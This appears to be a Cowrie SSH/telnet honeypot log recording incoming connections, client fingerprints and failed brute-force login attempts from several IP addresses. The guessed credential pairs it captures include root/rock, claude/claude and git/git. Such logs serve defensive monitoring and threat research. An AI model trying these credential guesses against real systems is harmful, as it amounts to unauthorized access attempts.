{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38992,"dst_ip":"10.17.0.5","dst_port":22,"session":"389578d66295","protocol":"ssh","message":"New connection: 45.153.34.112:38992 (10.17.0.5:22) [session: 389578d66295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:12.601591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:12.608444Z","src_ip":"45.153.34.112","session":"389578d66295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:12.697098Z","src_ip":"45.153.34.112","session":"389578d66295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:12.946948Z","src_ip":"45.153.34.112","session":"389578d66295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:14.220888Z","src_ip":"45.153.34.112","session":"389578d66295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57728,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ce4d798594","protocol":"telnet","message":"New connection: 192.119.13.58:57728 (10.17.0.5:23) [session: b3ce4d798594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:15.633126Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":38848,"dst_ip":"10.17.0.5","dst_port":22,"session":"b269c6b3129d","protocol":"ssh","message":"New connection: 193.228.128.84:38848 (10.17.0.5:22) [session: b269c6b3129d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:15.872809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:15.878658Z","src_ip":"193.228.128.84","session":"b269c6b3129d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:15.981549Z","src_ip":"193.228.128.84","session":"b269c6b3129d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39008,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e86bb7dc27f","protocol":"ssh","message":"New connection: 45.153.34.112:39008 (10.17.0.5:22) [session: 9e86bb7dc27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:16.240855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:16.245715Z","src_ip":"45.153.34.112","session":"9e86bb7dc27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbywtccf","message":"login attempt [root/ghbywtccf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:16.290843Z","src_ip":"193.228.128.84","session":"b269c6b3129d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:16.328478Z","src_ip":"45.153.34.112","session":"9e86bb7dc27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:16.822560Z","src_ip":"45.153.34.112","session":"9e86bb7dc27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:17.399740Z","src_ip":"193.228.128.84","session":"b269c6b3129d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":48822,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d26d47b9b2a","protocol":"ssh","message":"New connection: 170.238.160.191:48822 (10.17.0.5:22) [session: 2d26d47b9b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:17.621765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:17.626362Z","src_ip":"170.238.160.191","session":"2d26d47b9b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:17.740617Z","src_ip":"170.238.160.191","session":"2d26d47b9b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:17.906898Z","src_ip":"45.153.34.112","session":"9e86bb7dc27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.313313007354736,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:18.085251Z","src_ip":"192.119.13.58","session":"a71c1e54945c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:18.228462Z","src_ip":"170.238.160.191","session":"2d26d47b9b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.817832469940186,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:19.325254Z","src_ip":"192.119.13.58","session":"717077f56402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:19.345140Z","src_ip":"170.238.160.191","session":"2d26d47b9b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c04af28c23f","protocol":"ssh","message":"New connection: 45.153.34.112:36352 (10.17.0.5:22) [session: 5c04af28c23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:20.207418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:20.212358Z","src_ip":"45.153.34.112","session":"5c04af28c23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:20.295603Z","src_ip":"45.153.34.112","session":"5c04af28c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:20.545852Z","src_ip":"45.153.34.112","session":"5c04af28c23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52986,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfa3c41089df","protocol":"telnet","message":"New connection: 192.119.13.58:52986 (10.17.0.5:23) [session: cfa3c41089df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:20.745179Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:21.872091Z","src_ip":"45.153.34.112","session":"5c04af28c23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36362,"dst_ip":"10.17.0.5","dst_port":22,"session":"d51247f51f52","protocol":"ssh","message":"New connection: 45.153.34.112:36362 (10.17.0.5:22) [session: d51247f51f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:23.736956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:23.741690Z","src_ip":"45.153.34.112","session":"d51247f51f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:23.823834Z","src_ip":"45.153.34.112","session":"d51247f51f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:24.073012Z","src_ip":"45.153.34.112","session":"d51247f51f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.21103501319885,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:24.534451Z","src_ip":"192.119.13.58","session":"7b1fccb16f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43724,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8a2e1278a9","protocol":"telnet","message":"New connection: 192.119.13.58:43724 (10.17.0.5:23) [session: 9f8a2e1278a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:25.027360Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:25.156846Z","src_ip":"45.153.34.112","session":"d51247f51f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"b87c42032fa3","protocol":"ssh","message":"New connection: 45.153.34.112:36376 (10.17.0.5:22) [session: b87c42032fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:27.352128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:27.357196Z","src_ip":"45.153.34.112","session":"b87c42032fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:27.443576Z","src_ip":"45.153.34.112","session":"b87c42032fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:27.687846Z","src_ip":"45.153.34.112","session":"b87c42032fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":46489,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e6837af1d5","protocol":"ssh","message":"New connection: 45.66.52.41:46489 (10.17.0.5:22) [session: 04e6837af1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.022079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.149115Z","src_ip":"45.66.52.41","session":"04e6837af1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f949382b780c","protocol":"telnet","message":"New connection: 192.119.13.58:57180 (10.17.0.5:23) [session: f949382b780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.273104Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.320333Z","src_ip":"45.66.52.41","session":"04e6837af1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.438310861587524,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.340673Z","src_ip":"192.119.13.58","session":"22f2d8db83bc","protocol":"telnet"}
